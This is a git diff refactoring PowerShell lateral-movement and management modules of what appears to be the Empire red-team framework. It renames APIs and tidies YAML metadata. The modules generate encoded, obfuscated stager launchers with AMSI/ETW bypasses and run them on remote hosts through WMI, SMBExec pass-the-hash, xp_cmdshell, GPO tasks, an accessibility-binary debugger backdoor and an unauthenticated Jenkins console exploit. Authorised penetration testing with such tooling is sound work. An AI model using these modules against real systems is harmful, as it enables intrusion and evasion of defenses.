@@ -46,7 +42,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -65,7 +60,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -96,7 +91,7 @@ def generate(
script += ";'Invoke-PSRemoting executed on " + computer_names + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml
index 2521743ef..86e220d0d 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml
@@ -1,8 +1,11 @@
name: Invoke-PSRemoting
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Executes a stager on remote hosts using PSRemoting.
software: ''
+tactics: []
techniques:
- T1028
background: true
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -34,19 +37,22 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserName
description: '[domain\]username to use to execute command.'
required: false
@@ -56,8 +62,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -65,9 +70,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py
index a67f5a6bd..35afb29df 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
command = params["Command"]
@@ -27,7 +23,7 @@ def generate(
user_name = params["Username"]
ntlm_hash = params["Hash"]
domain = params["Domain"]
- service = params["Service"]
+ params["Service"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
@@ -46,7 +42,7 @@ def generate(
)
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -67,7 +63,7 @@ def generate(
encode=True,
userAgent=user_agent,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
@@ -83,7 +79,6 @@ def generate(
else:
Cmd = "%COMSPEC% /C start /b " + command
- print(helpers.color("[*] Running command: " + Cmd))
script_end = (
"Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'"
@@ -97,7 +92,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml
index 6d10d8480..9b9e4b9f3 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml
@@ -1,9 +1,11 @@
name: Invoke-SMBExec
authors:
- - '@rvrsh3ll'
-description: Executes a stager on remote hosts using SMBExec.ps1. This module requires
- a username and NTLM hash
+ - name: ''
+ handle: '@rvrsh3ll'
+ link: ''
+description: Executes a stager on remote hosts using SMBExec.ps1. This module requires a username and NTLM hash
software: ''
+tactics: []
techniques:
- T1187
- T1135
@@ -54,22 +56,24 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -77,14 +81,13 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -92,6 +95,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'lateral_movement/Invoke-SMBExec.ps1'
+script_path: lateral_movement/Invoke-SMBExec.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py
index a70e132bb..290011391 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
cred_id = params["CredID"]
if cred_id != "":
if not main_menu.credentials.is_credential_valid(cred_id):
@@ -49,7 +45,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -67,7 +63,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=userAgent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -90,7 +86,7 @@ def generate(
if password != "":
script_end += " -Password " + password
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml
index f48c885d2..7e3403358 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml
@@ -1,9 +1,14 @@
name: Invoke-SQLOSCMD
authors:
- - '@nullbind'
- - '@0xbadjuju'
+ - name: ''
+ handle: '@nullbind'
+ link: ''
+ - name: ''
+ handle: '@0xbadjuju'
+ link: ''
description: Executes a command or stager on remote hosts using xp_cmdshell.
software: ''
+tactics: []
techniques:
- T1505
background: true
@@ -12,7 +17,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -43,8 +48,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -52,14 +56,13 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
-script_path: 'lateral_movement/Invoke-SQLOSCmd.ps'
+ value: mattifestation etw
+script_path: lateral_movement/Invoke-SQLOSCmd.ps
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py
index 604cb7de4..079e4fb38 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +12,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -36,7 +32,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -65,7 +60,7 @@ def generate(
else:
script_end += " -" + str(option) + " " + str(values)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml
index 2d7564fac..c25bb344d 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml
@@ -1,8 +1,11 @@
name: Invoke-SSHCommand
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Executes a command on a remote host via SSH.
software: ''
+tactics: []
techniques:
- T1071
background: true
@@ -38,6 +41,6 @@ options:
description: The command to run on the remote host.
required: true
value: ''
-script_path: 'lateral_movement/Invoke-SSHCommand.ps1'
+script_path: lateral_movement/Invoke-SSHCommand.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py
index de065418a..46c62f3e1 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
command = params["Command"]
@@ -46,7 +42,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -64,7 +59,6 @@ def generate(
return handle_error_message("[!] Invalid listener: " + listener_name)
elif listener_name:
-
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
@@ -72,7 +66,7 @@ def generate(
encode=True,
userAgent=user_agent,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
@@ -88,7 +82,6 @@ def generate(
else:
Cmd = command.replace('"', '`"').replace("$", "`$")
stagerCode = Cmd
- print(helpers.color("[*] Running command: " + command))
# build the WMI execution string
computer_names = '"' + '","'.join(params["ComputerName"].split(",")) + '"'
@@ -110,7 +103,7 @@ def generate(
script += ";'Invoke-Wmi executed on " + computer_names + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml b/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml
index 8ce3d6ddf..21e51b973 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml
@@ -1,8 +1,11 @@
name: Invoke-WMI
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Executes a stager on remote hosts using WMI.
software: ''
+tactics: []
techniques:
- T1047
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -34,20 +37,22 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
- value: 'False'
+ value: mattifestation etw
- name: UserName
description: '[domain\]username to use to execute command.'
required: false
@@ -57,8 +62,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -66,9 +70,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py
index 7a336b241..c8fc1ba63 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py
@@ -1,13 +1,11 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""
# staging options
@@ -43,7 +40,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -78,7 +74,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
bypasses=params["Bypasses"],
)
@@ -165,7 +161,7 @@ def generate(
script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml
index 29cbbd8c6..7ac33e020 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml
+++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml
@@ -1,9 +1,11 @@
name: Invoke-WMIDebugger
authors:
- - '@harmj0y'
-description: Uses WMI to set the debugger for a target binary on a remote machine
- to be cmd.exe or a stager.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Uses WMI to set the debugger for a target binary on a remote machine to be cmd.exe or a stager.
software: ''
+tactics: []
techniques:
- T1047
background: false
@@ -12,7 +14,7 @@ needs_admin: false
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -31,19 +33,22 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserName
description: '[domain\]username to use to execute command.'
required: false
@@ -53,13 +58,11 @@ options:
required: false
value: ''
- name: TargetBinary
- description: Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe,
- Narrator.exe, or Magnify.exe)
+ description: Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe)
required: true
value: sethc.exe
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: false
value: HKLM:Software\Microsoft\Network\debug
- name: Binary
@@ -71,4 +74,4 @@ options:
required: false
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
index f4ec8e2c3..3be76e653 100644
--- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
+++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
@@ -1,12 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -37,7 +34,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -51,7 +48,7 @@ def generate(
print(helpers.color("Agent Launcher code: " + launcher))
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -65,7 +62,7 @@ def generate(
script_end += " -Port " + str(params["Port"])
script_end += ' -Cmd "' + launcher + '"'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml
index c32840d3b..4a127fa45 100644
--- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml
+++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml
@@ -1,8 +1,11 @@
name: Exploit-Jenkins
authors:
- - '@luxcupitor'
+ - name: ''
+ handle: '@luxcupitor'
+ link: ''
description: Exploit unauthenticated Jenkins Script consoles.
software: ''
+tactics: []
techniques:
- T1210
background: true
@@ -12,8 +15,7 @@ opsec_safe: false
language: powershell
min_language_version: '2'
comments:
- - Deploys an Empire agent to a windows Jenkins server with unauthenticated access
- to script console.
+ - Deploys an Empire agent to a windows Jenkins server with unauthenticated access to script console.
options:
- name: Agent
description: Agent to run module on.
@@ -24,19 +26,22 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: Rhost
description: Specify the remote jenkins server to exploit.
required: true
@@ -46,8 +51,7 @@ options:
required: true
value: '8080'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -55,10 +59,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'exploitation/Exploit-Jenkins.ps1'
+script_path: exploitation/Exploit-Jenkins.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
index ac9cc7e49..94a452490 100644
--- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
+++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
@@ -1,12 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
module_name = "New-GPOImmediateTask"
listener_name = params["Listener"]
@@ -37,14 +34,13 @@ def generate(
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
-
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -58,7 +54,7 @@ def generate(
else:
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -102,7 +98,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml
index d6a956bbc..f86b34cae 100644
--- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml
+++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml
@@ -1,8 +1,11 @@
name: New-GPOImmediateTask
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Builds an 'Immediate' schtask to push out through a specified GPO.
software: S0111
+tactics: []
techniques:
- T1053
background: true
@@ -51,8 +54,7 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -60,8 +62,7 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: Remove
@@ -69,23 +70,26 @@ options:
required: false
value: default
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Ht>
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -93,6 +97,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/management/disable_rdp.yaml b/empire/server/modules/powershell/management/disable_rdp.yaml
index 45dc8341b..f63630b7c 100644
--- a/empire/server/modules/powershell/management/disable_rdp.yaml
+++ b/empire/server/modules/powershell/management/disable_rdp.yaml
@@ -1,8 +1,11 @@
name: Disable-RDP
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Disables RDP on the remote machine.
software: ''
+tactics: []
techniques:
- T1076
background: false
@@ -11,7 +14,7 @@ needs_admin: true
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -21,4 +24,4 @@ script: |
reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f;
if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }
"`n Disable-RDP completed!"
-script_end: ''
\ No newline at end of file
+script_end: ''
diff --git a/empire/server/modules/powershell/management/downgrade_account.yaml b/empire/server/modules/powershell/management/downgrade_account.yaml
index 78572f5c0..e0109ea18 100644
